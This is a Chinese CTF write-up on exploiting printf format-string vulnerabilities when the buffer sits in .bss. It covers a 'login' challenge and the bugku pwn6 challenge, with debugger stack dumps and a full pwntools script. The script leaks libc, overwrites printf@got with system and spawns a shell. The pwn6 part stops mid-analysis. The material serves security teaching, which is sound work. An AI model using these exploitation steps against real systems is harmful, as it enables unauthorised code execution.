首页
社区
课程
招聘
[原创]攻击格式化字符串在.bss段的程序(bugku-pwn6)
2021-5-28 12:47 14127

[原创]攻击格式化字符串在.bss段的程序(bugku-pwn6)

2021-5-28 12:47
14127

How to attack a printf format string vulnerability program which is the format string buffer base on .bss section

举例

login这道题为例,详细讲解下做这种题的思路。

保护机制

查看保护:

1
2
3
4
5
6
7
8
9
dc@ubuntu:~/playground$ file ./login
./login: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dbbf329da12ebdd87dcae5d032eda61796f7d0c3, stripped
dc@ubuntu:~/playground$ pwn checksec login
[*] '/home/dc/playground/login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Please input your name: ");
  read(0, byte_804B080, 0xCu);
  puts("Base maybe not easy......");
  return sub_80485E3();
}
int sub_80485E3()
{
  printf("hello, %s", byte_804B080);
  return sub_804854B();
}
int sub_804854B()
{
  puts("Please input your password: ");
  while ( 1 )
  {
    s1[read(0, s1, 0x32u)] = 0;
    if ( !strncmp(s1, "wllmmllw", 8u) )
      break;
    printf("This is the wrong password: ");
    printf(s1);
    puts("Try again!");
  }
  return puts("Login successfully! Have fun!");
}

很明显最后的函数中有典型的格式化字符串漏洞:

1
printf(s1);

但buf在.bss段上,所以不能用自动化工具来打:

1
.bss:0804B0A0 s1              db ?                    ; DATA XREF: sub_804854B+1B↑o

思路

我们利用字符串格式化漏洞攻击got表,将printf修改成为system,然后之后循环中输入/bin/sh就可以完成利用:

1
2
3
printf(s1);
---------after attack--------->
system('/bin/sh');

首先查看调用printf时的栈情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
0xffc6a7d0+0x0000: 0x0804b0a0  →  "%42988c%6$hn"     ← $esp
0xffc6a7d4+0x0004: 0x08048dae  →  "wllmmllw"
0xffc6a7d8+0x0008: 0x00000008
0xffc6a7dc+0x000c: 0x080485fb  →   add esp, 0x10
0xffc6a7e0+0x0010: 0x08048dfd  →  "hello, %s"
0xffc6a7e4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xffc6a7e8+0x0018: 0xffc6a7f8  →  0xffc6a808  →  0x00000000     ← $ebp
0xffc6a7ec+0x001c: 0x08048603  →   nop
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80485a4                  add    esp, 0x10
    0x80485a7                  sub    esp, 0xc
    0x80485aa                  push   0x804b0a0
 →  0x80485af                  call   0x8048400 <printf@plt>
   ↳   0x8048400 <printf@plt+0>   jmp    DWORD PTR ds:0x804b014
       0x8048406 <printf@plt+6>   push   0x10
       0x804840b <printf@plt+11>  jmp    0x80483d0
       0x8048410 <puts@plt+0>     jmp    DWORD PTR ds:0x804b018
       0x8048416 <puts@plt+6>     push   0x18
       0x804841b <puts@plt+11>    jmp    0x80483d0
─────────────────────────────────────────────────────── arguments (guessed) ────
printf@plt (
   [sp + 0x0] = 0x0804b0a0 "%42988c%6$hn",
   [sp + 0x4] = 0x08048dae "wllmmllw",
   [sp + 0x8] = 0x00000008,
   [sp + 0xc] = 0x080485fb →  add esp, 0x10,
   [sp + 0x10] = 0x08048dfd "hello, %s"
)
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "login", stopped 0x80485af in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x80485af → call 0x8048400 <printf@plt>
[#1] 0x8048603 → nop
[#2] 0x8048689 → nop
[#3] 0xf7dc1647 → __libc_start_main()
[#4] 0x8048471 → hlt
────────────────────────────────────────────────────────────────────────────────
gef➤  dereference $esp 20
0xffc6a7d0+0x0000: 0x0804b0a0  →  "%42988c%6$hn"     ← $esp
0xffc6a7d4+0x0004: 0x08048dae  →  "wllmmllw"
0xffc6a7d8+0x0008: 0x00000008
0xffc6a7dc+0x000c: 0x080485fb  →   add esp, 0x10
0xffc6a7e0+0x0010: 0x08048dfd  →  "hello, %s"
0xffc6a7e4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xffc6a7e8+0x0018: 0xffc6a7f8  →  0xffc6a808  →  0x00000000     ← $ebp
0xffc6a7ec+0x001c: 0x08048603  →   nop
0xffc6a7f0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xffc6a7f4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xffc6a7f8+0x0028: 0xffc6a808  →  0x00000000
0xffc6a7fc+0x002c: 0x08048689  →   nop
0xffc6a800+0x0030: 0xf7f5c3dc  →  0xf7f5d1e0  →  0x00000000
0xffc6a804+0x0034: 0xffc6a820  →  0x00000001
0xffc6a808+0x0038: 0x00000000
0xffc6a80c+0x003c: 0xf7dc1647  →  <__libc_start_main+247> add esp, 0x10
0xffc6a810+0x0040: 0xf7f5c000  →  0x001b2db0
0xffc6a814+0x0044: 0xf7f5c000  →  0x001b2db0
0xffc6a818+0x0048: 0x00000000
0xffc6a81c+0x004c: 0xf7dc1647  →  <__libc_start_main+247> add esp, 0x10

用这样的字符串可以泄露栈和libc的地址:

1
payload1='\n%6$p\n%15$p\n'

之后利用栈中指向栈数据的数据来构造攻击链:

1
2
0xffc6a7f8(栈中)  -0xffc6a808(栈中) -> 栈中(printf@got) -> printf
0xffc6a7f8(栈中)  -0xffc6xxxx(栈中) -> 栈中(printf@got+2

因为要一次性写两个两字节的数据,需要两个地址,自然需要两条链条。构造链条代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
def DoubSzWt(number,deviation):
    payload='%'+str(number)+'c%'+str(deviation)+'$hn'
        return payload
gef➤  dereference $esp 15
0xfff4d590+0x0000: 0x0804b0a0  →  "%54700c%6$hn"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5c8  →  0x00000000     ← $ebp
0xfff4d5ac+0x001c: 0x08048603  →   nop
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5c8  →  0x00000000
0xfff4d5bc+0x002c: 0x08048689  →   nop
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000
 
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2-12,6))
 
gef➤  dereference $esp 15
0xfff4d590+0x0000: 0x0804b0a0  →  "%45076c%10$hn"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5ac  →  0x08048603  →   nop      ← $ebp
0xfff4d5ac+0x001c: 0x08048603  →   nop
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5ac  →  0x08048603  →   nop
0xfff4d5bc+0x002c: 0x08048689  →   nop
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000
 
 
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))
 
0xfff4d590+0x0000: 0x0804b0a0  →  "%54716c%6$hn"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5ac  →  0x0804b014  →  0xf7e4a680  →  <printf+0> call 0xf7f20c79     ← $ebp
0xfff4d5ac+0x001c: 0x0804b014  →  0xf7e4a680  →  <printf+0> call 0xf7f20c79
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5ac  →  0x0804b014  →  0xf7e4a680  →  <printf+0> call 0xf7f20c79
0xfff4d5bc+0x002c: 0x08048689  →   nop
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000
 
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2+4,6))
 
0xfff4d590+0x0000: 0x0804b0a0  →  "%45078c%10$hn"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5bc  →  0x08048689  →   nop      ← $ebp
0xfff4d5ac+0x001c: 0x0804b014  →  0xf7e4a680  →  <printf+0> call 0xf7f20c79
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5bc  →  0x08048689  →   nop
0xfff4d5bc+0x002c: 0x08048689  →   nop
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000
 
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))
 
gef➤  dereference $esp 15
0xfff4d590+0x0000: 0x0804b0a0  →  "%48560c%7$hn%14899c%11$hn"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5bc  →  0x0804b016  →  0x0cb0f7e4     ← $ebp
0xfff4d5ac+0x001c: 0x0804b014  →  0xf7e4a680  →  <printf+0> call 0xf7f20c79
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5bc  →  0x0804b016  →  0x0cb0f7e4
0xfff4d5bc+0x002c: 0x0804b016  →  0x0cb0f7e4
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000
 
payload='%'+str(sys_addr_0_2)+'c%7$hn'+'%'+str(sys_addr_2_4-sys_addr_0_2)+'c%11$hn'
 
gef➤  dereference $esp 15
0xfff4d590+0x0000: 0x0804b0a0  →  "/bin/sh"     ← $esp
0xfff4d594+0x0004: 0x08048dae  →  "wllmmllw"
0xfff4d598+0x0008: 0x00000008
0xfff4d59c+0x000c: 0x080485fb  →   add esp, 0x10
0xfff4d5a0+0x0010: 0x08048dfd  →  "hello, %s"
0xfff4d5a4+0x0014: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5a8+0x0018: 0xfff4d5b8  →  0xfff4d5bc  →  0x0804b016  →  0x0cb0f7e3     ← $ebp
0xfff4d5ac+0x001c: 0x0804b014  →  0xf7e3bdb0  →  <system+0> sub esp, 0xc
0xfff4d5b0+0x0020: 0x08048e20  →  "Base maybe not easy......"
0xfff4d5b4+0x0024: 0x0804b080  →  0x00006461 ("ad"?)
0xfff4d5b8+0x0028: 0xfff4d5bc  →  0x0804b016  →  0x0cb0f7e3
0xfff4d5bc+0x002c: 0x0804b016  →  0x0cb0f7e3
0xfff4d5c0+0x0030: 0xf7fb43dc  →  0xf7fb51e0  →  0x00000000
0xfff4d5c4+0x0034: 0xfff4d5e0  →  0x00000001
0xfff4d5c8+0x0038: 0x00000000

可以看到利用构造的两条链条,printf已经被改成了system,以下是全部脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
#from LibcSearcher import LibcSearcher
 
#p=remote('108.160.139.79',9090)
 
p=process('./login')
elf=ELF('./login')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
 
#context.log_level="debug"
p.sendafter('your name: ','ad')
payload1='\n%6$p\n%15$p\n'
p.sendafter('Please input your password: \n',payload1)
 
def DoubSzWt(number,deviation):
    payload='%'+str(number)+'c%'+str(deviation)+'$hn'
        return payload
p.recvuntil('0x')
stack_addr=int(p.recv(8),16)
p.recvuntil('0x')
libc_main_addr=int(p.recv(8),16)-247
print "libc_main_addr=>",hex(libc_main_addr)
'''libc=LibcSearcher('__libc_start_main',libc_main_addr)'''
libc_data=libc_main_addr-libc.symbols['__libc_start_main']
sys_addr=libc_data+libc.symbols['system']#+0x480
#str_sh_addr=libc_data+libc.symbols['str_bin_sh']
str_bin_sh=libc.search("/bin/sh\x00").next()
sys_addr_0_2=int(str(hex(sys_addr))[6:10],16)
sys_addr_2_4=int(str(hex(sys_addr))[2:6],16)
stack_addr_0_2=int(str(hex(stack_addr))[6:10],16)
print "sys_addr=>",hex(sys_addr)
print 'sys_addr_0_2=>',hex(sys_addr_0_2)
print 'sys_addr_2_4=>',hex(sys_addr_2_4)
print 'stack_addr=>',hex(stack_addr)
print 'stack_addr_0_2=>',hex(stack_addr_0_2)
print 'libc_data=>',hex(libc_data)
 
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2-12,6))
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))
 
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2+4,6))
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))
'''
gdb.attach(p,'break *0x80485AF\nc')
pause()
'''
# in case sys_addr_2_4 < sys_addr_0_2 will fail
payload='%'+str(sys_addr_0_2)+'c%7$hn'+'%'+str(sys_addr_2_4-sys_addr_0_2)+'c%11$hn'
p.sendafter('Try again!\n',payload)
p.sendafter('Try again!\n','/bin/sh\x00')
 
p.interactive()

以及攻击效果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
dc@ubuntu:~/playground$ python payload_login.py
[+] Starting local process './login': pid 80372
[*] '/home/dc/playground/login'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/lib/i386-linux-gnu/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
libc_main_addr=> 0xf7df4550
sys_addr=> 0xf7e16db0
sys_addr_0_2=> 0x6db0
sys_addr_2_4=> 0xf7e1
stack_addr=> 0xff849c68
stack_addr_0_2=> 0x9c68
libc_data=> 0xf7ddc000
[*] Switching to interactive mode
sh: 1: This: not found
$ whoami
dc

实战

以bugku平台的pwn6为例,拿到文件后查看下信息:

1
2
3
4
5
6
7
8
9
dc@ubuntu:~/playground$ file ./pwn6
./pwn6: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=365a5457b66ba7f0a740bd937960303dbe40a2e3, stripped
dc@ubuntu:~/playground$ pwn checksec pwn6
[*] '/home/dc/playground/pwn6'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

有pie保护那么需要泄露main,libc的地址。

vulnerabilities

  1. 第一个函数中有缓冲区溢出风险:

    1
    v3 = read(0, &src, 0x150uLL);

    而控制循环的变量正好位于其下方:

    1
    2
    3
    .data:00000000002015C0 src             db 0                    ; DATA XREF: _1_C15+65↑o
    \\....
    .data:0000000000201700 qword_201700    dq 1
  2. 第二个函数里有格式化字符串漏洞:

    1
    2
    3
    4
    v1 = read(0, buf1, 24uLL);
    puts("after encoding...");
    sub_AFF(buf1, v1);
    printf(buf1);

    尽管程序会对字符串进行移位操作:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    __int64 __fastcall sub_AFF(__int64 buf, int len)
    {
    __int64 result; // rax
    int index; // [rsp+18h] [rbp-4h]
     
    for ( index = 0; ; ++index )
    {
     result = index;
     if ( index >= len )
       break;
     *(buf + index) = 4 * (*(buf + index) & 0xC)
                    + 4 * (*(buf + index) & 0x30)
                    + ((*(buf + index) & 0xC0) >> 6)
                    + 4 * (*(buf + index) & 3);
    }
    return result;
    }

    并且buf不在栈上:

    1
    .bss:0000000000201720 buf1

    但如果在栈中构造好两个链条,还是有机会利用这个漏洞劫持printf@got。

  3. 第三个函数中有strcpy,存在栈溢出的风险:

    1
    strcpy(buf, &src);

    可以用来将一些值部署在栈中。

  4. 第二个函数开辟了很多栈空间,而且并没有初始化栈空间的值:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    .text:0000000000000CCD ; __unwind {
    .text:0000000000000CCD                 push    rbp
    .text:0000000000000CCE                 mov     rbp, rsp
    .text:0000000000000CD1                 sub     rsp, 160h
    .text:0000000000000CD8                 lea     rdi, aEncode2   ; "==========encode2=========="
    .text:0000000000000CDF                 call    _puts
    .text:0000000000000CE4                 lea     rdi, aYourMessageToE ; "your message to encode:"
    .text:0000000000000CEB                 call    _puts
    .text:0000000000000CF0                 mov     edx, 18h        ; nbytes
    .text:0000000000000CF5                 mov     rax, cs:buf
    .text:0000000000000CFC                 mov     rsi, rax        ; buf
    .text:0000000000000CFF                 mov     edi, 0          ; fd
    .text:0000000000000D04                 call    _read
    .text:0000000000000D09                 mov     [rbp+var_4], eax
    .text:0000000000000D0C                 lea     rdi, aAfterEncoding ; "after encoding..."
    .text:0000000000000D13                 call    _puts
    .text:0000000000000D18                 mov     eax, [rbp+var_4]
    .text:0000000000000D1B                 mov     esi, eax
    .text:0000000000000D1D                 mov     rax, cs:buf
    .text:0000000000000D24                 mov     rdi, rax
    .text:0000000000000D27                 call    sub_AFF
    .text:0000000000000D2C                 mov     rax, cs:buf
    .text:0000000000000D33                 mov     rdi, rax        ; format
    .text:0000000000000D36                 mov     eax, 0
    .text:0000000000000D3B                 call    _printf
    .text:0000000000000D40                 lea     rdi, aNiceEncoding ; "nice encoding..."
    .text:0000000000000D47                 call    _puts
    .text:0000000000000D4C                 leave
    .text:0000000000000D4D                 retn
    .text:0000000000000D4D ; } // starts at CCD
    .text:0000000000000D4D _2_CCD          endp

    这使得部分部署好的值不会被抹去(记得一定要初始化变量)

思路

据此,此题的解题思路如下:

  1. 利用格式化字符串泄露地址。
  2. 因为第二个函数没有清理栈,所以利用函数三在栈中投放printf@got。
  3. 在第二个函数中劫持printf@got,将其修改成system,然后输入字符串直接执行system('/bin/sh')。

调试

在调试中确定栈中情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef➤  dereference $rsp 50
0x00007ffdf9089280+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"     ← $rax, $rsp
0x00007ffdf9089288+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089290+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089298+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892a0+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892a8+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892b0+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892b8+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892c0+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892c8+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892d0+0x0050: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892d8+0x0058: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892e0+0x0060: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892e8+0x0068: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892f0+0x0070: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf90892f8+0x0078: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089300+0x0080: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089308+0x0088: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089310+0x0090: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089318+0x0098: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089320+0x00a0: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089328+0x00a8: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089330+0x00b0: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089338+0x00b8: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089340+0x00c0: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089348+0x00c8: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089350+0x00d0: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089358+0x00d8: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007ffdf9089360+0x00e0: 0x4141414141414141
0x00007ffdf9089368+0x00e8: 0x4141414141414141
0x00007ffdf9089370+0x00f0: 0x4141414141414141
0x00007ffdf9089378+0x00f8: 0x4141414141414141
0x00007ffdf9089380+0x0100: 0x4141414141414141
0x00007ffdf9089388+0x0108: 0x4141414141414141
0x00007ffdf9089390+0x0110: 0x000055f31cf6a580  →  0x00007feb09f73a50  →  <__strcpy_sse2_unaligned+0> mov rcx, rsi     ← $rbp, $rdi

转到函数二时栈情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gef➤  dereference $rsp 50
0x00007ffdf9089230+0x0000: 0x00007ffdf9089490  →  0x0000000000000001     ← $rsp
0x00007ffdf9089238+0x0008: 0x00007feb09f4882b  →  <_IO_file_overflow+235> cmp eax, 0xffffffff
0x00007ffdf9089240+0x0010: 0x0000000000000010
0x00007ffdf9089248+0x0018: 0x00007feb0a293620  →  0x00000000fbad2887
0x00007ffdf9089250+0x0020: 0x000055f31cd6a0c1  →  "nice encoding..."
0x00007ffdf9089258+0x0028: 0x00007feb09f3d80a  →  <puts+362> cmp eax, 0xffffffff
0x00007ffdf9089260+0x0030: 0x0000000000000000
0x00007ffdf9089268+0x0038: 0x00007feb0a4bf168  →  0x000055f31cd69000  →   jg 0x55f31cd69047
0x00007ffdf9089270+0x0040: 0x0000000000000007
0x00007ffdf9089278+0x0048: 0x000055f31cd69de1  →   mov eax, 0x0
0x00007ffdf9089280+0x0050: 0x4141414141414141
0x00007ffdf9089288+0x0058: 0x00007feb0a2928e0  →  0x00000000fbad208b
0x00007ffdf9089290+0x0060: 0x000055f31cd698b0  →   xor ebp, ebp
0x00007ffdf9089298+0x0068: 0x00007ffdf9089490  →  0x0000000000000001
0x00007ffdf90892a0+0x0070: 0x0000000000000000
0x00007ffdf90892a8+0x0078: 0x0000000000000000
0x00007ffdf90892b0+0x0080: 0x000055f31cf6a580  →  0x00007feb09f73a50  →  <__strcpy_sse2_unaligned+0> mov rcx, rsi
0x00007ffdf90892b8+0x0088: 0x00007feb09f395ef  →  <__isoc99_scanf+271> and DWORD PTR [rbx+0x74], 0xffffffeb
0x00007ffdf90892c0+0x0090: 0x4141414141414141
0x00007ffdf90892c8+0x0098: 0x0000003000000008
0x00007ffdf90892d0+0x00a0: 0x00007ffdf90893a0  →  0x00007ffdf9089490  →  0x0000000000000001
0x00007ffdf90892d8+0x00a8: 0x00007ffdf90892e0  →  0x4141414141414141
0x00007ffdf90892e0+0x00b0: 0x4141414141414141
0x00007ffdf90892e8+0x00b8: 0x000055f31cf6a57c  →  0x09f73a5000000002
0x00007ffdf90892f0+0x00c0: 0x000055f31cf6a57c  →  0x09f73a5000000002
0x00007ffdf90892f8+0x00c8: 0x00007feb09fc53c0  →  <__write_nocancel+7> cmp rax, 0xfffffffffffff001
0x00007ffdf9089300+0x00d0: 0x00007feb0a4a4700  →  0x00007feb0a4a4700  →  [loop detected]
0x00007ffdf9089308+0x00d8: 0x0000000000000000
0x00007ffdf9089310+0x00e0: 0x0000000000000000
0x00007ffdf9089318+0x00e8: 0x00007feb09f48419  →  <_IO_do_write+121> mov r13, rax
0x00007ffdf9089320+0x00f0: 0x000000000000000c
0x00007ffdf9089328+0x00f8: 0x00007feb0a293620  →  0x00000000fbad2887
0x00007ffdf9089330+0x0100: 0x000000000000000a
0x00007ffdf9089338+0x0108: 0x000055f31cd6a05c  →  "your choice:"
0x00007ffdf9089340+0x0110: 0x00007ffdf9089490  →  0x0000000000000001
0x00007ffdf9089348+0x0118: 0x00007feb09f4882b  →  <_IO_file_overflow+235> cmp eax, 0xffffffff
0x00007ffdf9089350+0x0120: 0x000000000000000c
0x00007ffdf9089358+0x0128: 0x00007feb0a293620  →  0x00000000fbad2887
0x00007ffdf9089360+0x0130: 0x000055f31cd6a05c  →  "your choice:"
0x00007ffdf9089368+0x0138: 0x00007feb09f3d80a  →  <puts+362> cmp eax, 0xffffffff
0x00007ffdf9089370+0x0140: 0x0000000000000000
0x00007ffdf9089378+0x0148: 0x00007ffdf9089390  →  0x000055f31cf6a580  →  0x00007feb09f73a50  →  <__strcpy_sse2_unaligned+0> mov rcx, rsi
0x00007ffdf9089380+0x0150: 0x000055f31cd698b0  →   xor ebp, ebp
0x00007ffdf9089388+0x0158: 0x000000181cd69a91
